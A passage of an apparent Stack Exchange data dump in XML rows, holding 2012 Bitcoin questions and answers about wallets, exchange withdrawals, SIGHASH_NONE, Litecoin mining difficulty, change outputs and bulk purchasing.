ways.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;eWallet such as blockchain.info's MyWallet provide the benefits of an eWallet without giving the provider control over the coins, and in the future there will be eWallets with more advanced features using multi-signature transactions.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2012-07-19T06:51:42.173" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4209" PostTypeId="1" CreationDate="2012-07-19T09:52:42.783" Score="3" ViewCount="2358" Body="&lt;p&gt;Previously withdrawing bitcoins from Intersango has only taken 24 hours.  This particular transaction has taken several days and I still haven't received the bitcoins.  I withdrew the coins from Intersango but they haven't been received by my wallet yet.  Does it make a difference that shortly after I withdrew the coins from Intersango I encrypted my wallet? Does it make a difference that it is currently 'locked,' if so how do I unlock it to recieve coins? Please somebody help this is really worrying me!&lt;/p&gt;&#xA;" OwnerUserId="1601" LastEditorUserId="659" LastEditDate="2012-07-19T10:46:40.770" LastActivityDate="2017-10-26T08:38:41.510" Title="Bitcoin wallet taking days to receive coins" Tags="|receiving|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4210" PostTypeId="2" ParentId="4209" CreationDate="2012-07-19T10:42:35.613" Score="3" Body="&lt;p&gt;Intersango has been having a problem with their wallet recently, as described in &lt;a href=&quot;https://bitcointalk.org/index.php?topic=63877.msg1037215#msg1037215&quot; rel=&quot;nofollow&quot;&gt;this forum post&lt;/a&gt;.  &lt;a href=&quot;https://bitcointalk.org/index.php?topic=63877.msg1038709#msg1038709&quot; rel=&quot;nofollow&quot;&gt;Another post&lt;/a&gt; claims that:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;this was triggered by someone spamming the wallet with a very larger&#xA;  number of small transactions&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Encrypting your wallet won't make any difference to whether you receive the bitcoins or not.  You only need to &quot;unlock&quot; the wallet to spend coins (or to top out your pool of unused addresses).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can check at &lt;a href=&quot;http://blockchain.info/address/&quot; rel=&quot;nofollow&quot;&gt;http://blockchain.info/address/&lt;/a&gt;&lt;em&gt;1youraddresshere&lt;/em&gt; to see whether the coins have been sent yet.  If they show up there but not in your wallet then it's an issue with your wallet.&lt;/p&gt;&#xA;" OwnerUserId="659" LastActivityDate="2012-07-19T10:42:35.613" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4211" PostTypeId="2" ParentId="2818" CreationDate="2012-07-19T11:32:04.023" Score="1" Body="&lt;p&gt;If people would not use e-Wallets that pool the money, fractional banking would be impossible. Since it does not seem to be technically possible to prohibit this (see the other answers), the only way to do this is to make people acutely aware that they are needlessly giving up the possession of their own money, and thus create risks like the banker running away with the money, bad loans, and so forth. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Probably most users are not even aware that with bitcoins it is technically possible that the bank keeps your wallet but has no access to your money at all. That's fundamentally different from the old systems. If people don't know this, they will not search for alternatives.&lt;/p&gt;&#xA;" OwnerUserId="1595" LastActivityDate="2012-07-19T11:32:04.023" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4212" PostTypeId="2" ParentId="2818" CreationDate="2012-07-19T11:36:23.970" Score="-1" Body="&lt;p&gt;Many e-Wallets seem to run a single bitcoind server that &lt;a href=&quot;https://bitcoin.stackexchange.com/a/4202/1595&quot;&gt;only supports a single wallet&lt;/a&gt;. Thus, the default for such e-Wallets is to pool the money, and fractional banking is possible. If we could convince the bitcoind developers that it is a good thing to support many separate wallets for many users, more alternatives might appear, and &lt;a href=&quot;https://bitcoin.stackexchange.com/a/4211/1595&quot;&gt;sensibilizing the users to the issues&lt;/a&gt; might then help.&lt;/p&gt;&#xA;" OwnerUserId="1595" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2012-07-19T11:36:23.970" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4213" PostTypeId="1" AcceptedAnswerId="4218" CreationDate="2012-07-19T13:29:46.073" Score="15" ViewCount="3107" Body="&lt;p&gt;If I understand correctly, SIGHASH_NONE in the &lt;strike&gt;output&lt;/strike&gt; &lt;em&gt;input signature&lt;/em&gt; means that spender of this output doesn't sign &lt;em&gt;his&lt;/em&gt; outputs. But doesn't that mean that the spending transaction is by design insecure? E.g. a malicious miner could switch the outputs to his addresses and put a modified version in the block. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I missing something? What is SIGHASH_NONE intended for?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; Now I understand why I was confused! The SIGHASH_NONE is in the input signature, not in the output. Somehow I thought it's an attribute of the output, and it didn't make sense to me why the &lt;em&gt;previous&lt;/em&gt; spender would be able to decide how the &lt;em&gt;next&lt;/em&gt; transaction should be signed.&lt;/p&gt;&#xA;" OwnerUserId="1544" LastEditorUserId="1544" LastEditDate="2012-07-19T22:39:45.017" LastActivityDate="2012-07-19T22:39:45.017" Title="What is the point of SIGHASH_NONE?" Tags="|transactions|protocol|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4214" PostTypeId="1" CreationDate="2012-07-19T13:35:30.733" Score="4" ViewCount="8061" Body="&lt;p&gt;There are many bitcoin wallet clients on android market. What is the best considering security, interoperability and usability?&lt;/p&gt;&#xA;" OwnerUserId="1603" LastEditorUserId="516" LastEditDate="2013-01-17T23:52:38.660" LastActivityDate="2018-10-31T08:27:27.293" Title="What's the best Android wallet client for bitcoin?" Tags="|wallet|e-wallet|thin-clients|android|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4215" PostTypeId="2" ParentId="4213" CreationDate="2012-07-19T14:54:43.530" Score="0" Body="&lt;p&gt;This is discussed here.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://bitcoinstats.com/irc/bitcoin-dev/logs/2011/11/15/2#l2156425&quot; rel=&quot;nofollow&quot;&gt;http://bitcoinstats.com/irc/bitcoin-dev/logs/2011/11/15/2#l2156425&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;i.e., that would require AnyoneCanPay to be vulnerable as you describe it.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-07-19T14:54:43.530" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4216" PostTypeId="2" ParentId="4214" CreationDate="2012-07-19T15:01:08.280" Score="0" Body="&lt;p&gt;There are various factors that matter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you wish to use the same EWallet account from both the web as well as from the mobile, then mobile-only wallets would be excluded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, since an EWallet service requires service from a back-end, availability can be a concern as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a list of options: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.bitcoin.it/wiki/Mobile_Payment_Apps&quot; rel=&quot;nofollow&quot;&gt;http://en.bitcoin.it/wiki/Mobile_Payment_Apps&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-07-19T15:01:08.280" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4217" PostTypeId="1" CreationDate="2012-07-19T15:11:16.947" Score="2" ViewCount="3073" Body="&lt;p&gt;What is the best way to transfer money between exchanges without fees? I think the most obvious option is to buy a redeemable coupon at one exchange, and redeem at another. But are there any exchanges who don't ask fees for this?&lt;/p&gt;&#xA;" OwnerUserId="1577" LastEditorUserId="2306" LastEditDate="2013-04-01T08:33:08.160" LastActivityDate="2013-04-01T08:33:08.160" Title="Transfer between exchanges without fees" Tags="|exchanges|trading|exchange-fees|arbitrage|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4218" PostTypeId="2" ParentId="4213" CreationDate="2012-07-19T18:31:02.543" Score="17" Body="&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/OP_CHECKSIG#Hashtype_SIGHASH_NONE&quot;&gt;The bitcoin wiki OP_CHECKSIG page&lt;/a&gt; describes the behaviour of SIGHASH_NONE like this:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The output of txCopy is set to a vector of zero size.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;All other inputs aside from the current input in txCopy have their&#xA;  nSequence index set to zero&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Think of this as &quot;sign none of the outputs-- I don't care where the&#xA;  bitcoins go.&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;https://en.bitcoin.it/wiki/Contracts#Theory&quot;&gt;contracts&lt;/a&gt; page also talks about SIGHASH_NONE:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;SIGHASH_NONE: The outputs are not signed and can be anything. Use this&#xA;  to indicate &quot;I agree to put my money in, as long as everyone puts&#xA;  their money in, but I don't care what's done with the output&quot;. This&#xA;  mode allows others to update the transaction by changing their inputs&#xA;  sequence numbers.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If I sign a transaction where all the inputs are SIGHASH_NONE then a miner can change the outputs to whatever he likes.  If any of the inputs are SIGHASH_ALL then the miner can't change the outputs.  So a group of people can each sign their own SIGHASH_NONE input to a transaction, send them privately to the coordinator who signs his own SIGHASH_ALL input before publishing the transaction.  That way the individual contributors don't need to know the destination address so long as they trust the coordinator.&lt;/p&gt;&#xA;" OwnerUserId="659" LastEditorUserId="659" LastEditDate="2012-07-19T19:21:37.787" LastActivityDate="2012-07-19T19:21:37.787" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4219" PostTypeId="1" AcceptedAnswerId="4224" CreationDate="2012-07-19T23:03:11.820" Score="4" ViewCount="4326" Body="&lt;p&gt;The current difficulty for mining Litecoins is about 6. If I mine them at 25kh/s, how often should I expect to solve a block with a difficulty of 6?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd also appreciate an explanation (or formula) of how the calculation is done.&lt;/p&gt;&#xA;" OwnerUserId="516" LastEditorUserId="5406" LastEditDate="2016-01-20T21:17:13.543" LastActivityDate="2016-01-20T21:17:13.543" Title="How to convert Litecoin difficulty of 6 to an expected time per block solved?" Tags="|litecoin|difficulty|mining-profitability|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4220" PostTypeId="1" CreationDate="2012-07-19T23:35:47.393" Score="5" ViewCount="209" Body="&lt;p&gt;At BlockExplorer I can see that (&lt;em&gt;edit&lt;/em&gt;: some) generation transactions use a pubkey in the script (&lt;code&gt;&amp;lt;key&amp;gt; OP_CHECKSIG&lt;/code&gt;), while ordinary transactions use address/hash (&lt;code&gt;OP_DUP OP_HASH160 &amp;lt;hash&amp;gt; OP_EQUALVERIFY OP_CHECKSIG&lt;/code&gt;). &lt;strong&gt;Why don't generation transactions use hash as well&lt;/strong&gt;?&lt;/p&gt;&#xA;" OwnerUserId="1544" LastEditorUserId="1544" LastEditDate="2012-07-20T00:02:30.063" LastActivityDate="2012-07-20T01:19:27.047" Title="Why do some generation transactions use pubkey, instead of hash?" Tags="|protocol|script|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4221" PostTypeId="2" ParentId="1453" CreationDate="2012-07-20T01:18:06.053" Score="1" Body="&lt;p&gt;&lt;a href=&quot;http://bitcoinx.com/charts/&quot; rel=&quot;nofollow&quot;&gt;http://bitcoinx.com/charts/&lt;/a&gt; does something similar to what you ask for in the title.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They calculate (and chart) a profitability estimate in USD for 24 hours of mining with 100 Mh/s, so you could multiply their number by 1/24&lt;/p&gt;&#xA;" OwnerUserId="615" LastActivityDate="2012-07-20T01:18:06.053" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4222" PostTypeId="2" ParentId="4220" CreationDate="2012-07-20T01:19:27.047" Score="3" Body="&lt;p&gt;Pubkey transactions use a little less space in the block chain overall (if no pruning is used), so you might as well use them when you can.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think that Satoshi's main reasoning was as follows, though:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Satoshi originally expected that most transactions would be pubkey transactions: the sender would contact the recipient directly and retrieve a public key to send funds to (the protocol has commands for getting this info from recipients, but it's almost never used nowadays). Bitcoin addresses were just a &quot;hack&quot; useful for sending BTC to offline recipients. You know your own public key for use in generation transactions, so addresses aren't necessary and Satoshi avoided using the &quot;hack&quot;.&lt;/p&gt;&#xA;" OwnerUserId="403" LastActivityDate="2012-07-20T01:19:27.047" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4223" PostTypeId="2" ParentId="4217" CreationDate="2012-07-20T01:26:31.003" Score="2" Body="&lt;p&gt;The best way to transfer between exchanges without fees is bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Coupons (like mtgoxusd) used to be very nice, but now it seems fees are often charged in addition to some of the coupons becoming unreliable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An arrangement in #bitcoin-otc may work well at a low fee, but -otc isn't often quick.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In consideration of these two facts, I've come to the conclusion that it's typically quick and cheap enough to convert to BTC and transfer that.&lt;/p&gt;&#xA;" OwnerUserId="615" LastActivityDate="2012-07-20T01:26:31.003" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4224" PostTypeId="2" ParentId="4219" CreationDate="2012-07-20T03:08:25.883" Score="2" Body="&lt;p&gt;I don't know much about Litecoin, but if its difficulty works the same as in Bitcoin, then on average it takes &lt;a href=&quot;https://en.bitcoin.it/wiki/Difficulty#What_network_hash_rate_results_in_a_given_difficulty.3F&quot; rel=&quot;nofollow&quot;&gt;approximately&lt;/a&gt; &lt;code&gt;difficulty * 2^32&lt;/code&gt; hashes to solve each block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since you're calculating 25000 hashes per second, it should take you around &lt;code&gt;6 * 2^32 / 25000&lt;/code&gt; seconds to solve a block.  Or about 286 hours.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does that sound about right?&lt;/p&gt;&#xA;" OwnerUserId="659" LastActivityDate="2012-07-20T03:08:25.883" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4225" PostTypeId="1" AcceptedAnswerId="4226" CreationDate="2012-07-20T05:09:53.010" Score="5" ViewCount="128" Body="&lt;p&gt;The change is usually to a different address, and it could be more or less than the amount sent to the recipient.  It seems like a crude estimate would be to just randomly remove one output (assuming num outputs &gt;= 2), and hope it worked out on average but I was curious if anyone had better ideas.  Thanks!&lt;/p&gt;&#xA;" OwnerUserId="540" LastEditorUserId="516" LastEditDate="2012-07-20T05:32:12.600" LastActivityDate="2012-07-20T05:32:12.600" Title="How can you estimate the net amount of transactions? (deducting change)" Tags="|transactions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4226" PostTypeId="2" ParentId="4225" CreationDate="2012-07-20T05:22:02.707" Score="5" Body="&lt;p&gt;The satoshi client always sends change to an address that has never been used before.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Often the amount being sent has less significant decimal digits than the change.  If you see 2 outputs, one for 1.235 and one for 1.19403995 then the change is probably the 2nd one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The satoshi client will try to minimise the change.  Usually the change will be relatively small, and is often smaller than any of the inputs.&lt;/p&gt;&#xA;" OwnerUserId="659" LastActivityDate="2012-07-20T05:22:02.707" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4227" PostTypeId="1" AcceptedAnswerId="4228" CreationDate="2012-07-20T07:31:11.060" Score="2" ViewCount="783" Body="&lt;p&gt;&lt;strong&gt;What is the difference between red and green rectangle?&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And why there is 0% written in the chart? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And also, why is mtgox only focusing for 1 month and no more? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: The 0% in the chart appears only after loging in. &lt;/p&gt;&#xA;" OwnerUserId="1580" LastEditorUserId="1580" LastEditDate="2012-07-21T11:41:08.217" LastActivityDate="2012-07-21T20:24:23.897" Title="How to interpret mtgox chart?" Tags="|mtgox|charts|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4228" PostTypeId="2" ParentId="4227" CreationDate="2012-07-20T13:01:09.330" Score="2" Body="&lt;p&gt;Green means the price increased during the relevant period, so the lower value is the opening price and the higher value is the closing price. Red is the other way around.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think the 0% you see is a visual glitch. If you close the charts you'll see that right behind where you see this is the &quot;Volume Discount Display&quot; meter, which shows you how far along you are on the way to move up to the next discount tier. For some reason it is still displayed when the charts are open. (For me the value is different from 0%.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For charts older than a month you can use for example &lt;a href=&quot;http://bitcoincharts.com/charts/&quot; rel=&quot;nofollow&quot;&gt;http://bitcoincharts.com/charts/&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="575" LastEditorUserId="575" LastEditDate="2012-07-21T20:24:23.897" LastActivityDate="2012-07-21T20:24:23.897" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4229" PostTypeId="1" CreationDate="2012-07-20T16:18:58.560" Score="4" ViewCount="1038" Body="&lt;p&gt;The question pretty much says it all. Any way to install a GPU miner (ATI) without&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A) Installing fglrx (which is a very bad driver for everyday use, and breaks my dual-monitor setup)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;B) Installing stream app sdk (which, if I understand correctly, requires fglrx)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please? Anyway? I would like to start mining bitcoins...&lt;/p&gt;&#xA;" OwnerUserId="1607" LastEditorUserId="5406" LastEditDate="2016-02-03T10:48:54.570" LastActivityDate="2016-02-03T10:48:54.570" Title="Is there any way to install a GPU miner on ubuntu without using the proprietary drivers?" Tags="|gpu-mining|miner-configuration|mining-software|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4230" PostTypeId="2" ParentId="1843" CreationDate="2012-07-20T17:50:11.533" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://github.com/litecoin-project/litecoin/downloads&quot; rel=&quot;nofollow&quot;&gt;Here&lt;/a&gt;,&#xA;as mentioned in litecoin.org&lt;/p&gt;&#xA;" OwnerUserId="1592" LastActivityDate="2012-07-20T17:50:11.533" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4231" PostTypeId="2" ParentId="2818" CreationDate="2012-07-20T18:42:19.937" Score="1" Body="&lt;p&gt;Fractional reserve could be prohibited by contract - e.g., the bank and I agree that they will not loan out the funds, and if they breach that contract they're liable for damages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fractional reserve could be detected/discouraged by coordinating clients, who agree to coordinate a mass withdrawal of all or substantially all of their funds; if that fails, it suggests that the funds aren't really available. (And this might evolve into agreements among banks to cover each other in the event of a run, which might then evolve into agreements among customers of all banks to coordinate mass withdrawals. One could even imagine a national or international &quot;withdrawal day&quot;, where everyone learns simultaneously who's been naughty and who's been nice. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, this takes away a lot of the advantages of banking, and turns banks into, essentially, vaults - at which point I would expect that rather than paying interest, banks would charge for deposits/lodgements, since the more funds they hold, the greater their exposure is to liability, and the greater the incentive is for bad guys to break their security. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that's the model, it would make a lot more sense to store one's BTC in a wallet under your own control - perhaps spread across several online storage providers, but they'll charge you minimally because they're only storing a little bit of data, and they'll provide in their contract that their liability if that data is lost is also minimal. &lt;/p&gt;&#xA;" OwnerUserId="1268" LastActivityDate="2012-07-20T18:42:19.937" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4232" PostTypeId="1" AcceptedAnswerId="4287" CreationDate="2012-07-20T20:11:10.050" Score="5" ViewCount="6922" Body="&lt;p&gt;What options are available to purchase bitcoins in bulk (e.g. a buy in the range of ten thousand dollars or more) without having to mess around with a market exchange?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can it be determined if the price is fair?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What payment methods are accepted?&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="323" LastEditDate="2012-10-03T06:34:54.587" LastActivityDate="2015-10-13T18:44:07.517" Title="Can bitcoins be bought wholesale?" Tags="|exchanges|trading|investing|" AnswerCount="4" CommentCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="4234" PostTypeId="2" ParentId="4232" CreationDate="2012-07-20T21:28:56.043" Score="4" Body="&lt;p&gt;You can buy them by trading directly with someone who wants to sell a bunch of coins. One good place to find willing counterparties bitcoin-otc (#bitcoin-otc on freenode irc, and bitcoin-otc.com).&lt;/p&gt;&#xA;" OwnerUserId="441" LastActivityDate="2012-07-20T21:28:56.043" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4235" PostTypeId="2" ParentId="4232" CreationDate="2012-07-21T02:20:58.023" Score="3" Body="&lt;p&gt;It isn't too hard to find someone willing to sell large amounts of BTC at around the MtGox market price with no fee. You can try #bitcoin-otc or the Bitcoin Forum's &quot;Currency exchange&quot; section. Wire transfers and Western Union are the most commonly-accepted transfer methods for large amounts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's also very easy to buy MtGox USD coupons. A lot of sellers will trade 1 MtGox USD for 1 transferred USD -- no fee at all (besides the transfer fee).&lt;/p&gt;&#xA;" OwnerUserId="403" LastEditorUserId="403" LastEditDate="2012-07-21T02:32:51.457" LastActivityDate="2012-07-21T02:32:51.457" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4238" PostTypeId="2" ParentId="4232" CreationDate="2012-07-21T12:08:22.863" Score="2" Body="&lt;p&gt;I think that in common sense, as there is no central authority to be emiting bitcoins you can not simply be buing wholesale. The only way to get more stable and equal price is: &#xA;Firstly - Go to the exchange which handles big volume of BTC, e.g. Mtgox.com&#xA;Secondly - You can just be buying the smaller rate of bitcoins. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The payments metods include mainly wire transfers, in Europe SEPA (which is cheaper for earopean), and many other things like Ucash. You can also buy Linden Dollars and trasfer to bitcoin. Or &lt;a href=&quot;https://www.bitcoinary.com/&quot; rel=&quot;nofollow&quot;&gt;https://www.bitcoinary.com/&lt;/a&gt; seems to be good way when paying with paypal. &lt;/p&gt;&#xA;" OwnerUserId="1580" LastActivityDate="2012-07-21T12:08:22.863" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4239" PostTypeId="1" AcceptedAnswerId="4241" CreationDate="2012-07-21T12:30:59.013" Score="8" ViewCount="13710" Body="&lt;p&gt;&lt;strong&gt;I am asking for what is being created when there is a new wallet created.&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And the second part of my question is considering public key. &lt;strong&gt;Is the public key the same thing as the address?&lt;/strong&gt; I read that there is for every private key a large pool of 100 adresses. Every adress is used when sending any single transaction and &quot;creating&quot; new adress. &lt;/p&gt;&#xA;" OwnerUserId="1580" LastEditorUserId="659" LastEditDate="2012-07-21T17:56:59.127" LastActivityDate="2021-08-12T14:40:21.823" Title="What exactly happens when a new wallet is created?" Tags="|wallet|address|private-key|public-key|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4240" PostTypeId="2" ParentId="4239" CreationDate="2012-07-21T16:56:35.393" Score="3" Body="&lt;p&gt;When you create a new wallet you create 100 new private keys. From these can be derived the public keys and the &quot;address&quot;. The keys are created randomly, so could in theory be the same as one already in existence, but that is so unlikely it will never happen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Difference between the public key and the address is that the address is a &quot;hash&quot; of the public key along with a checksum added (so you can not mistype it) and is converted into characters that can be displayed and copy/pasted easily (base58). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Technical details are here: &lt;a href=&quot;https://en.bitcoin.it/wiki/Technical_background_of_Bitcoin_addresses&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Technical_background_of_Bitcoin_addresses&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only reason that 100 addresses are created is that when you backup your wallet, you will have saved the next 100 address you will use. So even if you do some transactions then lose the wallet and have to restore from backup you should still be able to get your bitcoins back (assuming you used less than 100 addresses since the backup).&lt;/p&gt;&#xA;" OwnerUserId="1614" LastEditorUserId="659" LastEditDate="2012-07-21T17:55:41.063" LastActivityDate="2012-07-21T17:55:41.063" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4241" PostTypeId="2" ParentId="4239" CreationDate="2012-07-21T18:04:40.180" Score="6" Body="&lt;p&gt;Your wallet is a collection of private keys and a record of the transactions relating to them.  By default your wallet has a key pool of 100 keys.  So when your wallet is created, around 100 private keys are randomly generated and stored in your wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each private key has a corresponding public key, and each public key has a corresponding address.  A public key isn't &quot;the same thing as&quot; an address, but there is an algorithm that can give you the address corresponding to any given public key.  The reverse isn't true.  There are many different public keys for each address, since public keys are 256 bits wide and addresses are only 160 bits wide.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you click 'new address' in the 'receive coins' tab of the client, it will show you an address you've not seen before.  It is taken from the 100 address keypool.  The keypool is topped up when possible to always contain 100 unseen addresses.  If your wallet is encrypted then it's not possible to top up the keypool until the wallet is unlocked with the passphrase.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, when you make a transaction out of your wallet, it's quite likely that the amount you are sending doesn't exactly match the sum of any of the inputs you currently have private keys for, and so some 'change' needs to be sent back to your wallet.  When this happens an address from your 100 address keypool is used to receive the change.  In this case the keypool will be immediately topped up, since your wallet will need to be unlocked since you're spending coins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This all happens behind the scenes - you won't see any evidence of it happening unless you look at the blockchain.&lt;/p&gt;&#xA;" OwnerUserId="659" LastActivityDate="2012-07-21T18:04:40.180" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4242" PostTypeId="2" ParentId="4180" CreationDate="2012-07-21T18:28:24.020" Score="1" Body="&lt;p&gt;This site &lt;a href=&quot;https://www.bitcoinary.com/&quot; rel=&quot;nofollow&quot;&gt;https://www.bitcoinary.com/&lt;/a&gt; is providing exchanges with paypal also.&#xA;But it is  build on different scheme. You are relying on people rather than market. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;One thing to be aware of is secure connection which does not work for me, although it can differ with others.  &lt;/p&gt;&#xA;" OwnerUserId="1580" LastActivityDate="2012-07-21T18:28:24.020" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4243" PostTypeId="1" CreationDate="2012-07-21T23:14:44.683" Score="4" ViewCount="5765" Body="&lt;p&gt;My available methods of payment would be laser(Ireland debit card scheme), mastercard, visa or a bank transfer. &#xA;I'm a beginner user in Ireland.&#xA;I'd also prefer not to have to verify my account with a photo ID. &#xA;I won't be spending large sums of money either so the cheaper the better, and the money will be spent pretty much instantly so i'm not too worried about having THE most secure option if it means i'd have to pay more. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks! &lt;/p&gt;&#xA;" OwnerUserId="1615" LastEditorUserId="1580" LastEditDate="2012-07-22T08:31:42.563" LastActivityDate="2015-10-12T09:18:19.810" Title="Where can I buy bitcoins from Ireland without photo ID?" Tags="|exchanges|buy-bitcoins|" AnswerCount="7" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4244" PostTypeId="2" ParentId="2507" CreationDate="2012-07-22T00:32:38.683" Score="2" Body="&lt;p&gt;A very similar idea already exists, see &lt;a href=&quot;http://www.hashcash.org/&quot; rel=&quot;nofollow&quot;&gt;http://www.hashcash.org/&lt;/a&gt;. It requires proof of work to be send with every message, so spammers are paying by cpu-cycles.&lt;/p&gt;&#xA;" OwnerUserId="1577" LastActivityDate="2012-07-22T00:32:38.683" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
